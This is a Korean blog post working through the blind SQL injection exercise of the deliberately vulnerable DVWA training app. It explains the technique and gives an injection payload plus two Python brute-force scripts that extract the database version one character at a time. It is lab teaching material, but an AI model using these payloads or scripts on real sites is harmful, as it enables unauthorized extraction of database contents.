Dominic Repo

Exercise 8. SQL Injection (Blind) 본문

Network/DVWA

Exercise 8. SQL Injection (Blind)

DominicS 2019. 8. 8. 06:26
블라인드 SQL 인젝션 공격이란?
  • 장님(blind man)이 지팡이를 이용해 집을 찾아갈때 바닥을 두드리며 이곳이 어딘지 이길이 맞는지 1개씩 짚어보는 것과 같이, 조건문 실행 결과에 원하는 값 1글자가 ascii 값으로 50 보다 큰지 100 보다 큰지 비교하여 1글자씩 데이터를 알아내는 공격기법이다.
  • 일반적인 SQL 인젝션 의 경우 조작된 쿼리를 입력 해 한번에 원하는 데이터를 얻을 수 있지만, 블라인드 SQL 인젝션은 쿼리 결과에 따른 서버의 참과 거짓 반응을 통해 공격을 수행한다.


1을 입력했을때 원하는 데이터를 보여주는 것이 아닌 존재한다 즉, 참으로 결과를 보여주는 것을 알 수 있다.

6을 입력했을때는 존재하지 않다고 보여주고 있다.

블라인드 SQL 인젝션을 수행하기 앞서 필요한 기본적인 함수에 대해 알아 보고자 한다.
  1. substr
  • substr은 문자열을 자를 때 사용하는 함수, 사용 방법은 다음과 같다.
substr(자를 문자열, 자를 문자의 시작점, 자를 문자 개수)

ex) str = substr("dominic",1,3)
결과값 : str 에는 dom 이 저장된다. (첫번째부터 3개의 문자가 저장)
  1. ascii
  • ascii 함수는 문자의 아스키 코드 값을 반환해 주는 함수이다.
ascii(아스키 코드로 반환 할 문자)

ex) ascii(a)
결과값 a의 아스키 코드 값인 97 반환

+ 추가적으로 ord , urllib, request 함수를 이용할 수 도 있고
+ 결과는 랭스체크를 이용한다. 

DVWA 실습

(Low)

먼저 소스를 확인해 주었다. 

// Query
SELECT version()

(이건 마리아DB이고)

(출처 : 제타위키)
MySQL 버전을 확인하는 법은 다음과 같았다.

//폼에 입력한 값
1' AND length(version())=1#
브루트포스 공격을 이용해 먼저 저 숫자를 변경해 주어 랭스를 구했다.



import requests
from urllib import parse

i = 0
for i in range(1,50):
    param={
        'id': ("1\' AND length(version())=%d#" % i),
        'Submit':'Submit'
        }
     headers = {
        
            'Upgrade-Insecure-Requests': '1' ,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
                            Chrome/75.0.3770.142 Safari/537.36'
            ,'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,
                            image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'
            ,'Referer': 'http://<dvwa url>/vulnerabilities/sqli_blind/?
                            id=1%27+AND+1%3Dsubstr%28SELECT+version%28%29%2C1%2C2%29%23&Submit=Submit'
            ,'Accept-Encoding': 'gzip, deflate'
            ,'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
            ,'Cookie': 'PHPSESSID=h1k4moa1529m5pnpbqevflj2fc; security=low'
            ,'Connection': 'close'
            }
        cookies = {
            'PHPSESSID': 'h1k4moa1529m5pnpbqevflj2fc',
            'security':'low'
            }

    r = requests.get("http://<dvwa url>/vulnerabilities/sqli_blind/",params=param,headers=headers,cookies=cookies)
    
    print(str(i)+':'+str(r.status_code))
 id칸에 길이를 알기위해 파이썬 코드를 작성해 GET request를 보냈다. 


import requests
from urllib import parse


for i in range(1,24):
    for j in range(0,127):
        param={
            'id': "1\' AND substr(version(),"+str(i)+",1)='"+chr(j)+"'#",
            'Submit':'Submit'
            }
        
        headers = {
        
            'Upgrade-Insecure-Requests': '1' ,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
                            Chrome/75.0.3770.142 Safari/537.36'
            ,'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,
                            image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'
            ,'Referer': 'http://<dvwa url>/vulnerabilities/sqli_blind/?
                            id=1%27+AND+1%3Dsubstr%28SELECT+version%28%29%2C1%2C2%29%23&Submit=Submit'
            ,'Accept-Encoding': 'gzip, deflate'
            ,'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
            ,'Cookie': 'PHPSESSID=h1k4moa1529m5pnpbqevflj2fc; security=low'
            ,'Connection': 'close'
            }
        cookies = {
            'PHPSESSID': 'h1k4moa1529m5pnpbqevflj2fc',
            'security':'low'
            }


   
        r = requests.get("http://<dvwa url>/vulnerabilities/sqli_blind/",params=param,headers=headers,cookies=cookies)
        if( (r.status_code == 200)):
            print(chr(j),end='')
            break
문자를 각각 하나하나씩 비교해서 status_code 200이면 출력할수 있도록 짜준 파이썬 코드이다.
(200인 이유는 틀리면 404가 떴고 맞으면 200이 떴기 때문에)

이렇게 찾았다! 

'Network > DVWA' 카테고리의 다른 글

Exercise 10. XSS  (0) 2019.08.09
Exercise 9. Weak Session IDs  (0) 2019.08.09
Exercise 7. SQL Injection  (0) 2019.08.08
Exercise 6. Insecure CAPTCHA  (0) 2019.08.08
Exercise 5. File Upload  (0) 2019.08.08